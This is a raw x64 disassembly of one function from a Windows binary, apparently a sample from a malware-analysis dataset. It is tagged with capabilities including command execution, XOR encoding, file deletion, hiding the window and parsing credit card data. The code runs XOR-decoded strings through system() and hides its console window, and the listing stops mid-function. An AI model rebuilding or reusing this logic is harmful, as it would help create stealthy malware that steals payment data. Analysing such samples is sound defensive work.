Function at 0x14000c3c0
Capabilities:
Delete file
Encode data using xor
Execute command
Hide graphical window
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x32e0]
mov eax, 0x33e0
call fcn.14008fca0
sub rsp, rax
movaps xmmword [rsp + 0x33d0], xmm6
movaps xmmword [rsp + 0x33c0], xmm7
movaps xmmword [rsp + 0x33b0], xmm8
mov rax, qword [0x1400b40a0]
xor rax, rsp
mov qword [rbp + 0x32a0], rax
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rbp + 0x3200], xmm0
mov qword [rbp + 0x3210], rsi
mov qword [rbp + 0x3218], reloc.WS2_32.dll_ntohs
lea ecx, [rsi + 0x20]
call fcn.14008ef90
mov qword [rbp + 0x3200], rax
mov qword [rbp + 0x3210], reloc.WS2_32.dll_recvfrom
mov ecx, Ordinal_35
mov qword [rbp + 0x3218], rcx
movups xmm0, xmmword [str.e_38_2_20_75_255m]
movups xmmword [rax], xmm0
movzx ecx, byte [0x1400a29c0]
mov byte [rax + 0x10], cl
mov byte [rax + 0x11], sil
mov dword [rsp + 0x4c], 0x3e
mov dword [rsp + 0x50], 0x64
mov dword [rsp + 0x54], Ordinal_60
mov dword [rsp + 0x48], 0x736c63
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [rbp + 0x3200]
cmp qword [rbp + 0x3218], 0x10
cmovae rbx, qword [rbp + 0x3200]
lea rcx, [rbp + 0x3200]
cmovae rcx, qword [rbp + 0x3200]
mov rdi, qword [rbp + 0x3210]
add rdi, rcx
cmp rbx, rdi
je 0x14000c512
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000c4e0
xor eax, eax
mov qword [rbp + 0x1fd8], rax
movdqa xmm0, xmmword [0x1400a6f70]
movdqu xmmword [rbp + 0x1fe0], xmm0
mov dword [rbp + 0x1ff0], reloc.WS2_32.dll_socket
mov dword [rbp + 0x1ff4], WSASetLastError
mov dword [rbp + 0x1ff8], 0x5e
lea rcx, [rbp + 0x1fd8]
call fcn.140022750
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140002c90
nop
lea rbx, [rbp + 0x1c0]
mov r8, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
cmovae rbx, r8
lea rdi, [rbp + 0x1c0]
cmovae rdi, r8
add rdi, qword [rbp + 0x1d0]
cmp rbx, rdi
je 0x14000c5e0
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000c5a0
mov rdx, qword [rbp + 0x1d8]
mov r8, qword [rbp + 0x1c0]
cmp rdx, 0x10
jb 0x14000c616
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x14000c60e
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c86a
mov rcx, r8
call fcn.14008efcc
movdqa xmm0, xmmword [0x1400a6860]
movdqu xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1c0], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov r15d, 4
mov qword [rbp], r15
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x10], 0x6d305b1b
mov byte [rbp - 0xc], 0
lea rbx, [rbp - 0x10]
lea rdi, [rbp - 0xc]
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000c660
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000c6cd
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c6c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c86a
call fcn.14008efcc
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2970], xmm0
movups xmmword [rbp + 0x2980], xmm0
mov dword [rbp + 0x2990], eax
mov word [rbp + 0x2994], ax
mov byte [rbp + 0x2996], al
mov dword [rbp + 0x2998], 0x75
mov dword [rbp + 0x299c], reloc.WLDAP32.dll_Ordinal_32
movdqa xmm0, xmmword [0x1400a7030]
movdqu xmmword [rbp + 0x29a0], xmm0
movdqa xmm1, xmmword [0x1400a7150]
movdqu xmmword [rbp + 0x29b0], xmm1
movdqa xmm0, xmmword [0x1400a6b60]
movdqu xmmword [rbp + 0x29c0], xmm0
movdqa xmm1, xmmword [0x1400a7100]
movdqu xmmword [rbp + 0x29d0], xmm1
movdqa xmm0, xmmword [0x1400a6b00]
movdqu xmmword [rbp + 0x29e0], xmm0
movdqa xmm1, xmmword [0x1400a6eb0]
movdqu xmmword [rbp + 0x29f0], xmm1
movdqa xmm0, xmmword [0x1400a6bd0]
movdqu xmmword [rbp + 0x2a00], xmm0
movdqa xmm1, xmmword [0x1400a6f80]
movdqu xmmword [rbp + 0x2a10], xmm1
movdqa xmm0, xmmword [0x1400a6940]
movdqu xmmword [rbp + 0x2a20], xmm0
lea rcx, [rbp + 0x2970]
call fcn.140021d50
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140002c90
nop
lea rbx, [rbp + 0x1a0]
mov r8, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
cmovae rbx, r8
lea rdi, [rbp + 0x1a0]
cmovae rdi, r8
add rdi, qword [rbp + 0x1b0]
cmp rbx, rdi
je 0x14000c840
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000c800
mov rdx, qword [rbp + 0x1b8]
mov r8, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x14000c879
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x14000c871
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c871
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.14008efcc
movdqa xmm0, xmmword [0x1400a6860]
movdqu xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1a0], 0
lea rbx, [rbp + 0x3200]
cmp qword [rbp + 0x3218], 0x10
cmovae rbx, qword [rbp + 0x3200]
lea rcx, [rbp + 0x3200]
cmovae rcx, qword [rbp + 0x3200]
mov rdi, qword [rbp + 0x3210]
add rdi, rcx
cmp rbx, rdi
je 0x14000c902
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000c8d0
lea rdx, [0x1400a2ad8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032a0
lea rdx, [0x140003470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400a2a08]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r12, rax
lea rdx, [rbp + 0x3288]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx r13d, word [rbp + 0x3290]
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3220], xmm1
mov ecx, 0x60
call fcn.14008ef90
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x3220], rax
lea rcx, [rbp + 0x2600]
call fcn.1400055c0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], 2
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov eax, 0x3a43
mov word [rbp + 0x70], ax
mov byte [rbp + 0x72], 0
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x2ad0]
lea rcx, [rbp + 0x3220]
call fcn.14002bb90
mov rbx, qword [rax]
add rbx, 0x40
cmp rbx, rdi
je 0x14000ca7b
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000ca4f
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000ca4a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000cab7
mov rcx, r8
call fcn.14008efcc
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x14000cac3
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cabe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cabe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14008efcc
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x2618]
cmp rdx, 0x10
jb 0x14000cb1a
inc rdx
mov rcx, qword [rbp + 0x2600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cb15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b7ea
call fcn.14008efcc
movdqa xmm0, xmmword [0x1400a6860]
movdqu xmmword [rbp + 0x2610], xmm0
mov byte [rbp + 0x2600], 0
lea rcx, [rbp + 0x26c0]
call fcn.1400055c0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], 2
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov eax, 0x3a44
mov word [rbp + 0x50], ax
mov byte [rbp + 0x52], 0
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x2ab0]
lea rcx, [rbp + 0x3220]
call fcn.14002bb90
mov rbx, qword [rax]
add rbx, 0x40
cmp rbx, rdi
je 0x14000cbe9
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000cbbd
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000cbb8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000cc22
mov rcx, r8
call fcn.14008efcc
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x14000cc2e
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cc29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14008efcc
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x26d8]
cmp rdx, 0x10
jb 0x14000cc7f
inc rdx
mov rcx, qword [rbp + 0x26c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b7ea
call fcn.14008efcc
movdqa xmm0, xmmword [0x1400a6860]
movdqu xmmword [rbp + 0x26d0], xmm0
mov byte [rbp + 0x26c0], 0
lea rcx, [rbp + 0x25e0]
call fcn.1400055c0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], 2
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov eax, 0x3a45
mov word [rbp + 0x90], ax
mov byte [rbp + 0x92], 0
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x2ac0]
lea rcx, [rbp + 0x3220]
call fcn.14002bb90
mov rbx, qword [rax]
add rbx, 0x40
cmp rbx, rdi
je 0x14000cd60
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000cd34
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000cd2f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000cd9f
mov rcx, r8
call fcn.14008efcc
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x14000cdab
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cda6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cda6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14008efcc
xor edi, edi
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x90], dil
mov rdx, qword [rbp + 0x25f8]
cmp rdx, 0x10
jb 0x14000ce07
inc rdx
mov rcx, qword [rbp + 0x25e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ce02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b7ea
call fcn.14008efcc
movdqa xmm0, xmmword [0x1400a6860]
movdqu xmmword [rbp + 0x25f0], xmm0
mov byte [rbp + 0x25e0], 0
mov rbx, qword [rbp + 0x3220]
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
jne 0x14000cf9b
lea rdi, [rbx + 0x20]
xor eax, eax
mov qword [rbp + 0x1fb0], rax
movdqa xmm0, xmmword [0x1400a6a80]
movdqu xmmword [rbp + 0x1fb8], xmm0
mov dword [rbp + 0x1fc8], Ordinal_60
mov dword [rbp + 0x1fcc], 2
mov dword [rbp + 0x1fd0], reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x1fb0]
call fcn.140021b60
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032a0
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14000ce95
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.1400035b0
mov r10, rax
xor eax, eax
mov qword [rbp + 0x2780], rax
mov dword [rbp + 0x2788], eax
mov word [rbp + 0x278c], ax
movdqa xmm0, xmmword [0x1400a6900]
movdqu xmmword [rbp + 0x2790], xmm0
movdqa xmm1, xmmword [0x1400a7140]
movdqu xmmword [rbp + 0x27a0], xmm1
movdqa xmm0, xmmword [0x1400a6a50]
movdqu xmmword [rbp + 0x27b0], xmm0
mov dword [rbp + 0x27c0], WSASetLastError
lea rcx, [rbp + 0x2780]
call fcn.1400217f0
add rdi, 0x20
mov rdx, rax
mov rcx, r10
call fcn.1400032a0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x14000cf1d
mov rdi, qword [rdi]
mov rdx, rdi
mov rcx, rax
call fcn.1400035b0
lea rdx, [0x140003470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x14000cf68
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x14000cf63
nop dword [rax]
cmp rbx, qword [rax + 0x10]
jne 0x14000cf63
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x14000cf50
mov rbx, rax
jmp 0x14000cf8f
mov rbx, rax
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x14000cf8f
nop dword [rax]
nop dword [rax + rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x14000cf80
cmp byte [rbx + 0x19], 0
je 0x14000ce32
xor edi, edi
movups xmm0, xmmword [0x1400a5600]
movups xmmword [rbp + 0x2270], xmm0
movups xmm0, xmmword [0x1400a5620]
movups xmm1, xmmword [0x1400a5610]
movups xmmword [rbp + 0x2290], xmm0
movups xmmword [rbp + 0x2280], xmm1
movups xmm0, xmmword [0x1400a5640]
movups xmm1, xmmword [0x1400a5630]
movups xmmword [rbp + 0x22b0], xmm0
movups xmmword [rbp + 0x22a0], xmm1
movups xmm0, xmmword [0x1400a5660]
movups xmm1, xmmword [0x1400a5650]
movups xmmword [rbp + 0x22d0], xmm0
movups xmmword [rbp + 0x22c0], xmm1
mov eax, dword [0x1400a5688]
movsd xmm0, qword [0x1400a5680]
movups xmm1, xmmword [0x1400a5670]
mov dword [rbp + 0x22f8], eax
movsd qword [rbp + 0x22f0], xmm0
movups xmmword [rbp + 0x22e0], xmm1
mov r8d, edi
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp r14d, 2
jl 0x14000d189
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400a6cb0]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2274]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x14000d080
cmp r8d, 0x8c
jge 0x14000d1d3
movsxd rax, r8d
lea r9, [rbp + 0x2270]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8c
jl 0x14000d1a0
lea rcx, [rbp + 0x2270]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3230], xmm0
mov qword [rbp + 0x3240], rax
lea rcx, [rbp + 0x3230]
call fcn.140005b30
nop
mov rsi, qword [rbp + 0x3230]
mov r15, qword [rbp + 0x3238]
cmp rsi, r15
je 0x14000d60f
lea rbx, [0x1400a2b30]
nop
lea rcx, [rbp + 0x3268]
call fcn.140005c80
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov r8d, 2
cmp qword [rsi + 0x10], r8
cmovb r8, qword [rsi + 0x10]
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x14000d25b
mov rdx, qword [rsi]
lea rcx, [rsp + 0x58]
call fcn.14002bf60
nop
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x14000d326
lea rax, [rcx + 0x18]
mov qword [rsp + 0x68], rax
lea rdi, [rsp + 0x58]
cmp rdx, 8
cmovae rdi, qword [rsp + 0x58]
lea r8, [rcx + rcx]
lea rax, [0x1400a2b60]
cmp rax, rdi
jbe 0x14000d2cc
lea rax, [r8 + rdi]
cmp rbx, rax
ja 0x14000d2cc
cmp rdi, rbx
ja 0x14000d2ba
xor ebx, ebx
jmp 0x14000d2d1
mov rbx, rdi
lea rax, [0x1400a2b30]
sub rbx, rax
sar rbx, 1
jmp 0x14000d2d1
mov ebx, Ordinal_27
lea rcx, [rdi + 0x30]
add r8, 2
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
add rbx, rbx
mov r8, rbx
lea rdx, [0x1400a2b30]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rbx]
mov r8d, Ordinal_50
sub r8, rbx
lea rdx, [0x1400a2b30]
add rdx, 0x30
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x58]
xor edi, edi
lea rbx, [0x1400a2b30]
jmp 0x14000d33e
mov qword [rsp + 0x28], Ordinal_27
mov edx, Ordinal_27
lea rcx, [rsp + 0x58]
call fcn.14002d600
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov r8d, 1
lea rdx, [0x1400a2b2c]
lea rcx, [rbp + 0xb0]
call fcn.14002ad10
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea rdx, [rbp + 0x3268]
cmp qword [rbp + 0x3280], 8
cmovae rdx, qword [rbp + 0x3268]
mov r8, qword [rbp + 0x3278]
lea rcx, [rbp + 0x30]
call fcn.14002ad10
xorps xmm0, xmm0
movups xmmword [rbp + 0x3248], xmm0
mov qword [rbp + 0x3258], rdi
mov qword [rbp + 0x3260], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3248], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3258], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x14000d463
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d45e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f223
call fcn.14008efcc
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 7
mov word [rbp + 0x30], di
mov rdx, qword [rbp + 0xc8]
cmp rdx, 8
jb 0x14000d4b9
